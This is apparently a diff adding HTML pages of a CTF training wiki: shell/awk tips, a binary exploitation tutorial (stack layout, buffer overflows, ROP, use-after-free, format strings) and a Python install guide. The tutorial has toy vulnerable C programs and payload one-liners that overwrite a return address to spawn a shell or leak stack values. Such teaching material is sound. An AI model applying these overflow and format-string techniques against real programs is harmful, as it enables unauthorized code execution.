+>mysqli connect failed, please check connect info
+
+

Print the rows in reverse order: (implementation of the tac command):

+
seq 9| \
+awk '{lifo[NR] = $0; lno=NR} \
+END{ for(;lno>-1;lno--){print lifo[lno];}
+} '
+
+

awk combined with grep finds the specified service and kills it

+
ps -fe| grep msv8 | grep -v MFORWARD | awk '{print $2}' | xargs kill -9;
+
+

awk implementation of head and tail commands

+
    +
  • head
  • +
+
awk 'NR<=10{print}' filename
+
+
    +
  • tail
  • +
+
awk '{buffer[NR%10] = $0;} END{for(i=0;i<11;i++){ \
+print buffer[i %10]} } ' filename
+
+ +
    +
  • awk way to implement
  • +
+
ls -lrt | awk '{print $6}'
+
+
    +
  • The cut method
  • +
+
ls -lrt | cut -f6
+
+ +
    +
  • Determine the line number
  • +
+
seq 100| awk 'NR==4,NR==6{print}'
+
+
    +
  • Determine the text
  • +
+

Print the text between start_pattern and end_pattern:

+
awk '/start_pattern/, /end_pattern/' filename
+
+

Example:

+
seq 100 | awk '/13/,/15/'
+cat /etc/passwd| awk '/mai.*mail/,/news.*news/'
+
+

awk common built-in functions

+

index(string,search_string):return the position of search_string in string

+

sub(regex,replacement_str,string):replace the first regular match with replacement_str;

+

match(regex,string):check if the regular expression can match the string.

+

length(string):return the length of the string

+
echo | awk '{"grep root /etc/passwd" | getline cmdout; print length(cmdout) }'
+
+

printf is similar to printf in c, and formats the output:

+
seq 10 | awk '{printf "->%4s\n", $1}'
+
+

Iterate over lines, words and characters in a file

+

Iterate over each line in the file

+
    +
  • while loop method
  • +
+
while read line;
+do
+echo $line;
+done < file.txt
+
+Change to a subshell:
+cat file.txt | (while read line;do echo $line;done)
+
+
    +
  • awk method
  • +
+
cat file.txt| awk '{print}'
+
+

Iterate over each word in a line

+
for word in $line;
+do
+echo $word;
+done
+
+

Iterate over each character

+

${string:start_pos:num_of_chars}: extract a character from the string; (bash text slicing)

+

${#word}:return the length of the variable word

+
for((i=0;i<${#word};i++))
+do
+echo ${word:i:1);
+done
+
+

Display the file in ASCII characters:

+
$od -c filename
+
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CTF/PWN/index.html b/CTF/PWN/index.html new file mode 100644 index 000000000..b6aeb5c1b --- /dev/null +++ b/CTF/PWN/index.html @@ -0,0 +1,9362 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Binary Exploitation - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Binary Exploitation

+
+

https://ctf101.org/binary-exploitation/overview/

+
+

Binaries, or executables, are machine codes for a computer to execute. For the most part, the binaries that you will face in CTFs are Linux ELF files or the occasional Windows executable. Binary Exploitation is a broad topic within Cyber Security that really comes down to finding a vulnerability in the program and exploiting it to gain control of a shell or modifying the program's functions.

+

Common topics addressed by Binary Exploitation or 'pwn' challenges include:

+
    +
  • Registers
  • +
  • The Stack
  • +
  • Calling Conventions
  • +
  • Global Offset Table (GOT)
  • +
  • Buffers
  • +
  • Buffer Overflow
  • +
  • Return Oriented Programming (ROP)
  • +
  • Binary Security
  • +
  • No eXecute (NX)
  • +
  • Address Space Layout Randomization (ASLR)
  • +
  • Stack Canaries
  • +
  • Relocation Read-Only (RELRO)
  • +
  • The Heap
  • +
  • Heap Exploitation
  • +
  • Format String Vulnerability
  • +
+

Registers

+

A register is a location within the processor that is able to store data, much like RAM. Unlike RAM, however, accesses to registers are effectively instantaneous, whereas reads from main memory can take hundreds of CPU cycles to return.

+

Registers can hold any value: addresses (pointers), results from mathematical operations, characters, etc. Some registers are reserved however, meaning they have a special purpose and are not "general purpose registers" (GPRs). On x86, the only 2 reserved registers are rip and rsp which hold the address of the next instruction to execute and the address of the stack respectively.

+

On x86, the same register can have different-sized accesses for backward compatibility. For example, the rax register is the full 64-bit register, eax is the low 32 bits of rax, ax is the low 16 bits, al is the low 8 bits, and ah is the high 8 bits of ax (bits 8-16 of rax).

+

The Stack

+

In computer architecture, the stack is a hardware manifestation of the stack data structure (a Last In, First Out queue).

+

In x86, the stack is simply an area in RAM that was chosen to be the stack - there is no special hardware to store stack contents. The esp/rsp register holds the address in memory where the bottom of the stack resides. When something is pushed to the stack, esp decrements by 4 (or 8 on 64-bit x86), and the value that was pushed is stored at that location in memory. Likewise, when a pop instruction is executed, the value at esp is retrieved (i.e. esp is dereferenced), and esp is then incremented by 4 (or 8).

+

N.B. The stack "grows" down to lower memory addresses!

+

Conventionally, ebp/rbp contains the address of the top of the current stack frame, and so sometimes local variables are referenced as an offset relative to ebp rather than an offset to esp. A stack frame is essentially just the space used on the stack by a given function.

+

Uses

+

The stack is primarily used for a few things:

+
    +
  • Storing function arguments
  • +
  • Storing local variables
  • +
  • Storing processor state between function calls
  • +
+

Example

+

Let's see what the stack looks like right after say_hi has been called in this 32-bit x86 C program:

+
#include <stdio.h>
+
+void say_hi(const char * name) {
+    printf("Hello %s!\n", name);
+}
+
+int main(int argc, char ** argv) {
+    char * name;
+    if (argc != 2) {
+        return 1;
+    }
+    name = argv[1];
+    say_hi(name);
+    return 0;
+}
+
+

And the relevant assembly:

+
0804840b <say_hi>:
+ 804840b:   55                      push   ebp
+ 804840c:   89 e5                   mov    ebp,esp
+ 804840e:   83 ec 08                sub    esp,0x8
+ 8048411:   83 ec 08                sub    esp,0x8
+ 8048414:   ff 75 08                push   DWORD PTR [ebp+0x8]
+ 8048417:   68 f0 84 04 08          push   0x80484f0
+ 804841c:   e8 bf fe ff ff          call   80482e0 <printf@plt>
+ 8048421:   83 c4 10                add    esp,0x10
+ 8048424:   90                      nop
+ 8048425:   c9                      leave
+ 8048426:   c3                      ret
+
+08048427 <main>:
+ 8048427:   8d 4c 24 04             lea    ecx,[esp+0x4]
+ 804842b:   83 e4 f0                and    esp,0xfffffff0
+ 804842e:   ff 71 fc                push   DWORD PTR [ecx-0x4]
+ 8048431:   55                      push   ebp
+ 8048432:   89 e5                   mov    ebp,esp
+ 8048434:   51                      push   ecx
+ 8048435:   83 ec 14                sub    esp,0x14
+ 8048438:   89 c8                   mov    eax,ecx
+ 804843a:   83 38 02                cmp    DWORD PTR [eax],0x2
+ 804843d:   74 07                   je     8048446 <main+0x1f>
+ 804843f:   b8 01 00 00 00          mov    eax,0x1
+ 8048444:   eb 1c                   jmp    8048462 <main+0x3b>
+ 8048446:   8b 40 04                mov    eax,DWORD PTR [eax+0x4]
+ 8048449:   8b 40 04                mov    eax,DWORD PTR [eax+0x4]
+ 804844c:   89 45 f4                mov    DWORD PTR [ebp-0xc],eax
+ 804844f:   83 ec 0c                sub    esp,0xc
+ 8048452:   ff 75 f4                push   DWORD PTR [ebp-0xc]
+ 8048455:   e8 b1 ff ff ff          call   804840b <say_hi>
+ 804845a:   83 c4 10                add    esp,0x10
+ 804845d:   b8 00 00 00 00          mov    eax,0x0
+ 8048462:   8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
+ 8048465:   c9                      leave
+ 8048466:   8d 61 fc                lea    esp,[ecx-0x4]
+ 8048469:   c3                      ret
+
+

Skipping over the bulk of main, you'll see that at 0x8048452 main's name local is pushed to the stack because it's the first argument to say_hi. Then, a call instruction is executed. call instructions first push the current instruction pointer to the stack, then jump to their destination. So when the processor begins executing say_hi at 0x0804840b, the stack looks like this:

+
EIP = 0x0804840b (push ebp)
+ESP = 0xffff0000
+EBP = 0xffff002c
+
+        0xffff0004: 0xffffa0a0              // say_hi argument 1
+ESP ->  0xffff0000: 0x0804845a              // Return address for say_hi
+
+

The first thing say_hi does is save the current ebp so that when it returns, ebp is back where main expects it to be. The stack now looks like this:

+
EIP = 0x0804840c (mov ebp, esp)
+ESP = 0xfffefffc
+EBP = 0xffff002c
+
+        0xffff0004: 0xffffa0a0              // say_hi argument 1
+        0xffff0000: 0x0804845a              // Return address for say_hi
+ESP ->  0xfffefffc: 0xffff002c              // Saved EBP
+
+

Again, note how esp gets smaller when values are pushed to the stack.

+

Next, the current esp is saved into ebp, marking the top of the new stack frame.

+
EIP = 0x0804840e (sub esp, 0x8)
+ESP = 0xfffefffc
+EBP = 0xfffefffc
+
+            0xffff0004: 0xffffa0a0              // say_hi argument 1
+            0xffff0000: 0x0804845a              // Return address for say_hi
+ESP, EBP -> 0xfffefffc: 0xffff002c              // Saved EBP
+
+

Then, the stack is "grown" to accommodate local variables inside say_hi.

+
EIP = 0x08048414 (push [ebp + 0x8])
+ESP = 0xfffeffec
+EBP = 0xfffefffc
+
+        0xffff0004: 0xffffa0a0              // say_hi argument 1
+        0xffff0000: 0x0804845a              // Return address for say_hi
+EBP ->  0xfffefffc: 0xffff002c              // Saved EBP
+        0xfffefff8: UNDEFINED
+        0xfffefff4: UNDEFINED
+        0xfffefff0: UNDEFINED
+ESP ->  0xfffefffc: UNDEFINED
+
+

NOTE: stack space is not implicitly cleared!

+

Now, the 2 arguments to printf are pushed in reverse order.

+
EIP = 0x0804841c (call printf@plt)
+ESP = 0xfffeffe4
+EBP = 0xfffefffc
+
+        0xffff0004: 0xffffa0a0              // say_hi argument 1
+        0xffff0000: 0x0804845a              // Return address for say_hi
+EBP ->  0xfffefffc: 0xffff002c              // Saved EBP
+        0xfffefff8: UNDEFINED
+        0xfffefff4: UNDEFINED
+        0xfffefff0: UNDEFINED
+        0xfffeffec: UNDEFINED
+        0xfffeffe8: 0xffffa0a0              // printf argument 2
+ESP ->  0xfffeffe4: 0x080484f0              // printf argument 1
+
+

Finally, printf is called, which pushes the address of the next instruction to execute.

+
EIP = 0x080482e0
+ESP = 0xfffeffe4
+EBP = 0xfffefffc
+
+        0xffff0004: 0xffffa0a0              // say_hi argument 1
+        0xffff0000: 0x0804845a              // Return address for say_hi
+EBP ->  0xfffefffc: 0xffff002c              // Saved EBP
+        0xfffefff8: UNDEFINED
+        0xfffefff4: UNDEFINED
+        0xfffefff0: UNDEFINED
+        0xfffeffec: UNDEFINED
+        0xfffeffe8: 0xffffa0a0              // printf argument 2
+        0xfffeffe4: 0x080484f0              // printf argument 1
+ESP ->  0xfffeffe0: 0x08048421              // Return address for printf
+
+

Once printf has returned, the leave instruction moves ebp into esp, and pops the saved EBP.

+
EIP = 0x08048426 (ret)
+ESP = 0xfffefffc
+EBP = 0xffff002c
+
+        0xffff0004: 0xffffa0a0              // say_hi argument 1
+ESP ->  0xffff0000: 0x0804845a              // Return address for say_hi
+
+

And finally, ret pops the saved instruction pointer into eip which causes the program to return to main with the same esp, ebp, and stack contents as when say_hi was initially called.

+
EIP = 0x0804845a (add esp, 0x10)
+ESP = 0xffff0000
+EBP = 0xffff002c
+
+ESP ->  0xffff0004: 0xffffa0a0              // say_hi argument 1
+
+

Calling Conventions

+

To be able to call functions, there needs to be an agreed-upon way to pass arguments. If a program is entirely self-contained in a binary, the compiler would be free to decide the calling convention. However, in reality, shared libraries are used so that common code (e.g. libc) can be stored once and dynamically linked into programs that need it, reducing program size.

+

In Linux binaries, there are really only two commonly used calling conventions: cdecl for 32-bit binaries, and SysV for 64-bit

+

cdecl

+

In 32-bit binaries on Linux, function arguments are passed in on the stack in reverse order. A function like this:

+
int add(int a, int b, int c) {
+    return a + b + c;
+}
+
+

would be invoked by pushing c, then b, then a.

+

SysV

+

For 64-bit binaries, function arguments are first passed in certain registers:

+
    +
  1. RDI
  2. +
  3. RSI
  4. +
  5. RDX
  6. +
  7. RCX
  8. +
  9. R8
  10. +
  11. R9
  12. +
+

then any leftover arguments are pushed onto the stack in reverse order, as in cdecl.

+

Other Conventions

+

Any method of passing arguments could be used as long as the compiler is aware of what the convention is. As a result, there have been many calling conventions in the past that aren't used frequently anymore. See Wikipedia for a comprehensive list.

+

GOT

+

The Global Offset Table (or GOT) is a section inside of programs that hold addresses of functions that are dynamically linked. As mentioned in the page on calling conventions, most programs don't include every function they use to reduce binary size. Instead, common functions (like those in libc) are "linked" into the program so they can be saved once on disk and reused by every program.

+

Unless a program is marked full RELRO, the resolution of the function to address in a dynamic library is done lazily. All dynamic libraries are loaded into memory along with the main program at launch, however, functions are not mapped to their actual code until they're first called. For example, in the following C snippet puts won't be resolved to an address in libc until after it has been called once:

+
int main() {
+    puts("Hi there!");
+    puts("Ok bye now.");
+    return 0;
+}
+
+

To avoid searching through shared libraries each time a function is called, the result of the lookup is saved into the GOT so future function calls "short circuit" straight to their implementation bypassing the dynamic resolver.

+

This has two important implications:

+
    +
  1. The GOT contains pointers to libraries which move around due to ASLR
  2. +
  3. The GOT is writable
  4. +
+

These two facts will become very useful to use in Return Oriented Programming

+

PLT

+

Before the address of a function has been resolved, the GOT points to an entry in the Procedure Linkage Table (PLT). This is a small "stub" function that is responsible for calling the dynamic linker with (effectively) the name of the function that should be resolved.

+

Buffers

+

A buffer is any allocated space in memory where data (often user input) can be stored. For example, in the following C program name would be considered a stack buffer:

+
#include <stdio.h>
+
+int main() {
+    char name[64] = {0};
+    read(0, name, 63);
+    printf("Hello %s", name);
+    return 0;
+}
+
+

Buffers could also be global variables:

+
#include <stdio.h>
+
+char name[64] = {0};
+
+int main() {
+    read(0, name, 63);
+    printf("Hello %s", name);
+    return 0;
+}
+
+

Or dynamically allocated on the heap:

+
#include <stdio.h>
+#include <stdlib.h>
+
+int main() {
+    char *name = malloc(64);
+    memset(name, 0, 64);
+    read(0, name, 63);
+    printf("Hello %s", name);
+    return 0;
+}
+
+

Exploits

+

Given that buffers commonly hold user input, mistakes when writing to them could result in attacker-controlled data being written outside of the buffer's space. See the page on buffer overflows for more.

+

Buffer Overflow

+

A Buffer Overflow is a vulnerability in which data can be written that exceeds the allocated space, allowing an attacker to overwrite other data.

+

Stack buffer overflow

+

The simplest and most common buffer overflow is one where the buffer is on the stack. Let's look at an example.

+
#include <stdio.h>
+
+int main() {
+    int secret = 0xdeadbeef;
+    char name[100] = {0};
+    read(0, name, 0x100);
+    if (secret == 0x1337) {
+        puts("Wow! Here's a secret.");
+    } else {
+        puts("I guess you're not cool enough to see my secret");
+    }
+}
+
+

There's a tiny mistake in this program which will allow us to see the secret. name is decimal 100 bytes, however, we're reading in hex 100 bytes (=256 decimal bytes)! Let's see how we can use this to our advantage.

+

If the compiler chose to layout the stack like this:

+
        0xffff006c: 0xf7f7f7f7  // Saved EIP
+        0xffff0068: 0xffff0100  // Saved EBP
+        0xffff0064: 0xdeadbeef  // secret
+...
+        0xffff0004: 0x0
+ESP ->  0xffff0000: 0x0         // name
+
+

let's look at what happens when we read in 0x100 bytes of 'A's.

+

The first decimal 100 bytes are saved properly:

+
        0xffff006c: 0xf7f7f7f7  // Saved EIP
+        0xffff0068: 0xffff0100  // Saved EBP
+        0xffff0064: 0xdeadbeef  // secret
+...
+        0xffff0004: 0x41414141
+ESP ->  0xffff0000: 0x41414141  // name
+
+

However, when the 101st byte is read in, we see an issue:

+
        0xffff006c: 0xf7f7f7f7  // Saved EIP
+        0xffff0068: 0xffff0100  // Saved EBP
+        0xffff0064: 0xdeadbe41  // secret
+...
+        0xffff0004: 0x41414141
+ESP ->  0xffff0000: 0x41414141  // name
+
+

The least significant byte of the secret has been overwritten! If we follow the next 3 bytes to be read in, we'll see the entirety of the secret is "clobbered" with our 'A's

+
        0xffff006c: 0xf7f7f7f7  // Saved EIP
+        0xffff0068: 0xffff0100  // Saved EBP
+        0xffff0064: 0x41414141  // secret
+...
+        0xffff0004: 0x41414141
+ESP ->  0xffff0000: 0x41414141  // name
+
+

The remaining 152 bytes would continue clobbering values up the stack.

+

Passing an impossible check

+

How can we use this to pass the seemingly impossible check in the original program? Well, if we carefully line up our input so that the bytes that overwrite the secret happen to be the bytes that represent 0x1337 in Little Endian, we'll see the secret message.

+

A small Python one-liner will work nicely: python -c "print 'A'*100 + '\x31\x13\x00\x00'"

+

This will fill the name buffer with 100 'A's, then overwrite the secret with the 32-bit little-endian encoding of 0x1337.

+

Going one step further

+

As discussed on the stack page, the instruction that the current function should jump to when it is done is also saved on the stack (denoted as "Saved EIP" in the above stack diagrams). If we can overwrite this, we can control where the program jumps after the main finishes running, giving us the ability to control what the program does entirely.

+

Usually, the end objective in binary exploitation is to get a shell (often called "popping a shell") on the remote computer. The shell provides us with an easy way to run anything we want on the target computer.

+

Say there happens to be a nice function that does this define somewhere else in the program that we normally can't get to:

+
void give_shell() {
+    system("/bin/sh");
+}
+
+

Well with our buffer overflow knowledge, now we can! All we have to do is overwrite the saved EIP on the stack to the address where give_shell is. Then, when the main returns, it will pop that address off of the stack and jump to it, running give_shell, and giving us our shell.

+

Assuming give_shell is at 0x08048fd0, we could use something like this: python -c "print 'A'*108 + '\xd0\x8f\x04\x08'"

+

We send 108 'A's to overwrite the 100 bytes that are allocated for the name, the 4 bytes for secret, and the 4 bytes for the saved EBP. Then we simply send the little-endian form of give_shell's address, and we would get a shell!

+

This idea is extended on in Return Oriented Programming

+

Return Oriented Programming

+

Return Oriented Programming (or ROP) is the idea of chaining together small snippets of assembly with stack control to cause the program to do more complex things.

+

As we saw in buffer overflows, having stack control can be very powerful since it allows us to overwrite saved instruction pointers, giving us control over what the program does next. Most programs don't have a convenient give_shell function, however, so we need to find a way to manually invoke the system or another exec function to get us our shell.

+

32 bit

+

Imagine we have a program similar to the following:

+
#include <stdio.h>
+#include <stdlib.h>
+
+char name[32];
+
+int main() {
+    printf("What's your name? ");
+    read(0, name, 32);
+
+    printf("Hi %s\n", name);
+
+    printf("The time is currently ");
+    system("/bin/date");
+
+    char echo[100];
+    printf("What do you want me to echo back? ");
+    read(0, echo, 1000);
+    puts(echo);
+
+    return 0;
+}
+
+

We obviously have a stack buffer overflow on the echo variable which can give us EIP control when the main returns. But we don't have a give_shell function! So what can we do?

+

We can call the system with an argument we control! Since arguments are passed in on the stack in 32-bit Linux programs (see calling conventions), if we have stack control, we have argument control.

+

When the main returns, we want our stack to look like something normally called system. Recall what is on the stack after a function has been called:

+
        ...                                 // More arguments
+        0xffff0008: 0x00000002              // Argument 2
+        0xffff0004: 0x00000001              // Argument 1
+ESP ->  0xffff0000: 0x080484d0              // Return address
+
+

So the main's stack frame needs to look like this:

+
        0xffff0008: 0xdeadbeef              // system argument 1
+        0xffff0004: 0xdeadbeef              // return address for system
+ESP ->  0xffff0000: 0x08048450              // return address for main (system's PLT entry)
+
+

Then when the main returns, it will jump into the system's PLT entry and the stack will appear just like the system had been called normally for the first time.

+

Note: we don't care about the return address system will return to because we will have already gotten our shell by then!

+

Arguments

+

This is a good start, but we need to pass an argument to the system for anything to happen. As mentioned in the page on ASLR, the stack and dynamic libraries "move around" each time a program is run, which means we can't easily use data on the stack or a string in libc for our argument. In this case, however, we have a very convenient name global which will be at a known location in the binary (in the BSS segment).

+

Putting it together

+

Our exploit will need to do the following:

+
    +
  1. Enter "sh" or another command to run as the name
  2. +
  3. Fill the stack with
  4. +
  5. Garbage up to the saved EIP
  6. +
  7. The address of the system's PLT entry
  8. +
  9. A fake return address for the system to jump to when it's done
  10. +
  11. The address of the name global acts as the first argument to the system
  12. +
+

64 bit

+

In 64-bit binaries, we have to work a bit harder to pass arguments to functions. The basic idea of overwriting the saved RIP is the same, but as discussed in calling conventions, arguments are passed in registers in 64-bit programs. In the case of running the system, this means we will need to find a way to control the RDI register.

+

To do this, we'll use small snippets of assembly in the binary, called "gadgets." These gadgets usually pop one or more registers off of the stack, and then call ret, which allows us to chain them together by making a large fake call stack.

+

For example, if we needed control of both RDI and RSI, we might find two gadgets in our program that look like this (using a tool like rp++ or ROPgadget):

+
0x400c01: pop rdi; ret
+0x400c03: pop rsi; pop r15; ret
+
+

We can set up a fake call stack with these gadgets to sequentially execute them, poping values we control into registers, and then end with a jump to the system.

+

Example

+
        0xffff0028: 0x400d00            // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled
+        0xffff0020: 0x1337beef          // value we want in r15 (probably garbage)
+        0xffff0018: 0x1337beef          // value we want in rsi
+        0xffff0010: 0x400c03            // address that the rdi gadget's ret will return to - the pop rsi gadget
+        0xffff0008: 0xdeadbeef          // value to be popped into rdi
+RSP ->  0xffff0000: 0x400c01            // address of rdi gadget
+
+

Stepping through this one instruction at a time, main returns, jumping to our pop rdi gadget:

+
RIP = 0x400c01 (pop rdi)
+RDI = UNKNOWN
+RSI = UNKNOWN
+
+        0xffff0028: 0x400d00            // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled
+        0xffff0020: 0x1337beef          // value we want in r15 (probably garbage)
+        0xffff0018: 0x1337beef          // value we want in rsi
+        0xffff0010: 0x400c03            // address that the rdi gadget's ret will return to - the pop rsi gadget
+RSP ->  0xffff0008: 0xdeadbeef          // value to be popped into rdi
+
+

pop rdi is then executed, popping the top of the stack into RDI:

+
RIP = 0x400c02 (ret)
+RDI = 0xdeadbeef
+RSI = UNKNOWN
+
+        0xffff0028: 0x400d00            // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled
+        0xffff0020: 0x1337beef          // value we want in r15 (probably garbage)
+        0xffff0018: 0x1337beef          // value we want in rsi
+RSP ->  0xffff0010: 0x400c03            // address that the rdi gadget's ret will return to - the pop rsi gadget
+
+

The RDI gadget then rets into our RSI gadget:

+
RIP = 0x400c03 (pop rsi)
+RDI = 0xdeadbeef
+RSI = UNKNOWN
+
+        0xffff0028: 0x400d00            // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled
+        0xffff0020: 0x1337beef          // value we want in r15 (probably garbage)
+RSP ->  0xffff0018: 0x1337beef          // value we want in rsi
+
+

RSI and R15 are popped:

+
RIP = 0x400c05 (ret)
+RDI = 0xdeadbeef
+RSI = 0x1337beef
+
+RSP ->  0xffff0028: 0x400d00            // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled
+
+

And finally, the RSI gadget rets, jumping to whatever function we want, but now with RDI and RSI set to values we control.

+

Binary Security

+

Binary Security is using tools and methods in order to secure programs from being manipulated and exploited. These tools are not infallible, but when used together and implemented properly, they can raise the difficulty of exploitation greatly.

+

Some methods covered include:

+ +

The Heap

+

A heap is a place in memory that a program can use to dynamically create objects. Creating objects on the heap has some advantages compared to using the stack:

+
    +
  • Heap allocations can be dynamically sized
  • +
  • Heap allocations "persist" when a function returns
  • +
+

There are also some disadvantages, however:

+
    +
  • Heap allocations can be slower
  • +
  • Heap allocations must be manually cleaned up
  • +
+

Using the heap

+

In C, there are a number of functions used to interact with the heap, but we're going to focus on the two core ones:

+
    +
  • malloc: allocate n bytes on the heap
  • +
  • free: free the given allocation
  • +
+

Let's see how these could be used in a program:

+
#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+int main() {
+    unsigned alloc_size = 0;
+    char *stuff;
+
+    printf("Number of bytes? ");
+    scanf("%u", &alloc_size);
+
+    stuff = malloc(alloc_size + 1);
+    memset(0, stuff, alloc_size + 1);
+
+    read(0, stuff, alloc_size);
+
+    printf("You wrote: %s", stuff);
+
+    free(stuff);
+
+    return 0;
+}
+
+

This program reads in a size from the user, creates an allocation of that size on the heap, reads in that many bytes, then prints it back out to the user.

+

Heap Exploits

+

Overflow

+

Much like a stack buffer overflow, a heap overflow is a vulnerability where more data than can fit in the allocated buffer is read in. This could lead to heap metadata corruption, or corruption of other heap objects, which could in turn provide a new attack surface.

+

Use After Free (UAF)

+

Once free is called on an allocation, the allocator is free to reallocate that chunk of memory in future calls to malloc if it so chooses. However, if the program author isn't careful and uses the freed object later on, the contents may be corrupt (or even attacker controlled). This is called use after free or UAF.

+

Example

+
#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+
+typedef struct string {
+    unsigned length;
+    char *data;
+} string;
+
+int main() {
+    struct string* s = malloc(sizeof(string));
+    puts("Length:");
+    scanf("%u", &s->length);
+    s->data = malloc(s->length + 1);
+    memset(s->data, 0, s->length + 1);
+    puts("Data:");
+    read(0, s->data, s->length);
+
+    free(s->data);
+    free(s);
+
+    char *s2 = malloc(16);
+    memset(s2, 0, 16);
+    puts("More data:");
+    read(0, s2, 15);
+
+    // Now using s again, a UAF
+
+    puts(s->data);
+
+    return 0;
+}
+
+

In this example, we have a string structure with a length and a pointer to the actual string data. We properly allocate, fill, and then free an instance of this structure. Then we make another allocation, fill it, and then improperly reference the freed string. Due to how Glibc's allocator works, s2 will actually get the same memory as the original s allocation, which in turn gives us the ability to control the s->data pointer. This could be used to leak program data.

+

Advanced Heap Exploitation

+

Not only can the heap be exploited by the data in allocations, but exploits can also use the underlying mechanisms in malloc, free, etc. to exploit a program. This is beyond the scope of CTF 101, but here are a few recommended resources:

+ +

Format String Vulnerability

+

A format string vulnerability is a bug where user input is passed as the format argument to printf, scanf, or another function in that family.

+

The format argument has many different specifies which could allow an attacker to leak data if they control the format argument to printf. Since printf and similar are variadic functions, they will continue popping data off of the stack according to the format.

+

For example, if we can make the format argument "%x.%x.%x.%x", printf will pop off four stack values and print them in hexadecimal, potentially leaking sensitive information.

+

printf can also index to an arbitrary "argument" with the following syntax: "%n$x" (where n is the decimal index of the argument you want).

+

While these bugs are powerful, they're very rare nowadays, as all modern compilers warn when printf is called with a non-constant string.

+

Example

+
#include <stdio.h>
+#include <unistd.h>
+
+int main() {
+    int secret_num = 0x8badf00d;
+
+    char name[64] = {0};
+    read(0, name, 64);
+    printf("Hello ");
+    printf(name);
+    printf("! You'll never get my secret!\n");
+    return 0;
+}
+
+

Due to how GCC decided to lay out the stack, secret_num is actually at a lower address on the stack than name, so we only have to go to the 7th "argument" in printf to leak the secret:

+
$ ./fmt_string
+%7$llx
+Hello 8badf00d3ea43eef
+! You'll never get my secret!
+
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CTF/Python_1/index.html b/CTF/Python_1/index.html new file mode 100644 index 000000000..be1690778 --- /dev/null +++ b/CTF/Python_1/index.html @@ -0,0 +1,9063 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Python Programming Quick Guide - Installation and Basic IO - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Python Programming Quick Guide - Installation and Basic IO

+
+

https://www.liaoxuefeng.com/wiki/1016959663602400

+

https://www.w3schools.com/python/python_intro.asp

+

https://docs.python.org/3/

+
+

What is Python?

+

Python is a popular programming language. It was created by Guido van Rossum, and released in 1991.

+

It is used for:

+
    +
  • web development (server-side),
  • +
  • software development,
  • +
  • mathematics,
  • +
  • system scripting.
  • +
+

What can Python do?

+
    +
  • Python can be used on a server to create web applications.
  • +
  • Python can be used alongside software to create workflows.
  • +
  • Python can connect to database systems. It can also read and modify files.
  • +
  • Python can be used to handle big data and perform complex mathematics.
  • +
  • Python can be used for rapid prototyping, or for production-ready software development.
  • +
+

Why Python?

+
    +
  • Python works on different platforms (Windows, Mac, Linux, Raspberry Pi, etc).
  • +
  • Python has a simple syntax similar to the English language.
  • +
  • Python has a syntax that allows developers to write programs with fewer lines than some other programming languages.
  • +
  • Python runs on an interpreter system, meaning that code can be executed as soon as it is written. This means that prototyping can be very quick.
  • +
  • Python can be treated in a procedural way, an object-oriented way, or a functional way.
  • +
+

Good to know

+
    +
  • The most recent major version of Python is Python 3, which we shall be using in this tutorial. However, Python 2, although not being updated with anything other than security updates, is still quite popular.
  • +
  • In this tutorial, Python will be written in a text editor. It is possible to write Python in an Integrated Development Environment, such as Thonny, Pycharm, Netbeans, or Eclipse which are particularly useful when managing larger collections of Python files.
  • +
+

Python Syntax compared to other programming languages

+
    +
  • Python was designed for readability, and has some similarities to the English language with influence from mathematics.
  • +
  • Python uses new lines to complete a command, as opposed to other programming languages which often use semicolons or parentheses.
  • +
  • Python relies on indentation, using whitespace, to define scope; such as the scope of loops, functions, and classes. Other programming languages often use curly brackets for this purpose.
  • +
+

Example

+
print("Hello, World!")
+
+

Installing Python

+

Because Python is cross-platform, it can run on Windows, Mac, and various Linux/Unix systems. Python programs written on Windows are capable of running when put on Linux.

+

To start learning Python programming, you first have to install Python into your computer. Once installed, you'll get the Python interpreter (which is responsible for running Python programs), a command line interactive environment, and a simple integrated development environment.

+

Installing Python 3.8

+

Currently, there are two versions of Python, version 2.x and version 3.x, which are incompatible. Since version 3.x is becoming more and more popular, our tutorial will be based on the latest Python version 3.8. Please make sure that the version of Python installed on your computer is the latest 3.8.x so that you can learn this tutorial painlessly.

+

Installing Python on a Mac

+

If you are using a Mac with OS X>=10.9, the version of Python that comes with the system is 2.7. To install the latest Python 3.8, there are two methods.

+

Method 1: Download the installer for Python 3.8 from the official Python website, double-click it after downloading and run it and install it.

+

Method 2: If Homebrew is installed, just install it directly via the command brew install python3.

+

Installing Python on Linux

+

If you are using Linux, then I can assume that you have Linux system administration experience and should have no problem installing Python 3 on your own, otherwise, switch back to Windows.

+

For a large number of students who are currently still using Windows, if you have no plans to switch to a Mac soon, you can continue reading below.

+

Installing Python on Windows

+

First, depending on your version of Windows (64-bit or 32-bit), download the 64-bit installer or 32-bit installer, then, run the downloaded exe installer:

+

install-py35

+

Pay special attention to checking Add Python 3.8 to PATH, and then click Install Now to complete the installation.

+

Run Python

+

After successful installation, open a command prompt window and type in python, two cases will appear.

+

Scenario one.

+
┌────────────────────────────────────────────────────────┐
+│Command Prompt                                    - □ x │
+├────────────────────────────────────────────────────────┤
+│Microsoft Windows [Version 10.0.0]                      │
+│(c) 2015 Microsoft Corporation. All rights reserved.    │
+│                                                        │
